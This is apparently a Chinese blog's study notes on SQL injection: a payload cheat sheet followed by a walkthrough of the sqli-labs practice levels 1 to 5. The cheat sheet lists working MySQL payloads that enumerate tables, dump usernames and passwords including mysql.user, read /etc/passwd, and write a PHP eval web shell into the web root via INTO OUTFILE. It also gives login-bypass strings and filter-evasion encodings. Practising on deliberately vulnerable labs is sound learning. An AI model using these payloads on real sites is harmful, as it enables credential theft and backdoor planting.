date
Aug 5, 2021 12:17 PM
Related to 日程数据 1 (blog)
tags
slug
summary
icon
category
password
爆破字典
常用查询函数 1:system_user() 系统用户名 2:user() 用户名 3:current_user 当前用户名 4:session_user()连接数据库的用户名 5:database() 数据库名 6:version() MYSQL数据库版本 @@version 7:load_file() MYSQL读取本地文件的函数 8:@@datadir 读取数据库路径 9:@@basedir MYSQL 安装路径 10:@@version_compile_os 操作系统
' '' 2-1 2-0 2'-'1 2'-'0 and 1=1 and 1=2 or 1=1 or 1=2 order by 1 order by 2 order by 3 order by 4 order by 5 and 1=2 union select 1,2,3 --+ and 1=2 union select 1,2,3,4 --+ and 1=2 union select 1,2,3,4,5 --+ union select 1,database(),3 --+ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ union select 1,group_concat(password),3 from security.users --+ and (select 1 from (select count(*),concat(database(),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+
扩展一下
and 1=2 union select 1,group_concat(user,'::',password),3 from mysql.user (mysql用户账号密码) 爆库名 union select 1,schema_name,3 from information_schema.schemata limit 0,1--+ (limit可以遍历) 爆表名 union select 1,group_concat(0x7e,table_name,0x7e),3 from information_schema.tables where table_schema=database()--+ 爆列名 union select 1,group_concat(0x7e,column_name,0x7e),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ (也可以直接'users') 爆字段 union select 1,group_concat(username,0x3a3a,password),3 from users--+ 如果权限够大可以直接用 load_file()读文件 union select 1,load_file('c:\\flag.txt'),3 --+ 直接写文件union+select+1,2,3,char(0x3C3F706870206576616C28245F504F53545B39305D3F3B3E),5,6,7,8,9,10,7+into+outfile+'d:/web/90team.php'--+ 在web目录写入一句话木马 <?php+eval($_POST[90]?;> 为上面16进制编码后的一句话原型 union+select+1,2,3,load_file(d:/web/logo123.jpg),5,6,7,8,9,10,7+into+outfile+'d:/web/90team.php'--+ 将PHP马改成图片类型上传之网站,再通过into outfile 写入web目录
万能密码
'or 1=1/* "or "a"="a "or 1=1-- "or"=" "or"="a'='a "or1=1-- "or=or" ''or'='or' ') or ('a'='a '.).or.('.a.'='.a 'or 1=1 'or 1=1-- 'or 1=1/* 'or"="a'='a 'or' '1'='1' 'or''=' 'or''=''or''=' 'or'='1' 'or'='or' 'or.'a.'='a 'or1=1-- 1'or'1'='1 a'or' 1=1-- a'or'1=1-- or 'a'='a' or 1=1-- or1=1--
SELECT load_file('/etc/passwd'); CopySELECT '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php';
bypass 绕过 过滤了空格 %09 TAB 键(水平) %0a 新建一行 %0c 新的一页 %0d return 功能 %0b TAB 键(垂直) %a0 空格 /**/

以上为知识点
开始闯关
试错版


通过
'
"
判断为字符型改
'
构建闭合/注释方式

以及不要用
#
要用转ulr后的%23
,浏览器(框太小且不好调试)会自动转url,但burpsuite不会,包括空格%20
都要手改,我这里用的+
就挺好看的,还可以用偶数的!!
~~
来连接。

都可以使用。
判断字段数


对比判断字段数为3
找显位

忘了将union前的语句弄wrong

两个显位,直接爆表和库,固定语句
union+select+1,group_concat(table_name),database()+from+information_schema.tables+where+table_schema=database()--+

查列

查表
union+select+1,group_concat(username,'>',password),3+from+security.users+--+--+


渲染突然没了 我也不知道啥原因。加
,'>',
只是为了好看。
不加库名,也能出相同的结果,毕竟flag同库。
参考
less2

在闭合处报错

回头验证一下 是否为数字型



后续过程同less1
less3

提示括号

构建闭合

象征性的拿下答案

less4


引号跟less3相反
走人

less5

嗯嗯



说是报错型注入
不管 ,先闭合

然后参考
知识点
双查询注入
双注入查询需要理解四个函数/语句
1. Rand() //随机函数
2. Floor() //取整函数
3. Count() //汇总函数
4. Group by clause //分组语句
简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
测试用语句
select GROUP_CONCAT(SCHEMA_NAME) from information_schema.SCHEMATA ; -- or SELECT GROUP_CONCAT(TABLE_SCHEMA) from information_schema.`COLUMNS` c; SELECT GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES t ; -- or SELECT GROUP_CONCAT(TABLE_NAME) from information_schema.`COLUMNS` c where TABLE_SCHEMA = 'mysql'; SELECT GROUP_CONCAT(COLUMN_NAME) from information_schema.`COLUMNS` c where TABLE_SCHEMA = 'mysql' and TABLE_NAME = 'db'; SELECT DATABASE(); select concat("111","22222") select floor(rand()*2); select concat((select database()),floor(rand()*2)); select DATABASE(),(select concat((select database()),floor(rand()*2))) select (select concat((select database()),floor(rand()*2))) from information_schema.schemata select (select concat((select database()),floor(rand()*2))) as a from information_schema.schemata group by a select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a select count(*),concat((select version()),floor(rand()*2))as a from information_schema.schemata group by a
go on
回显无法探测

上公式
手工注入在存在联合和报错注入的情况下,注入速度也是不低于 sqlmap 的哦。
- 作者:lea
- 链接:https://bear4.ml/article/lab
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。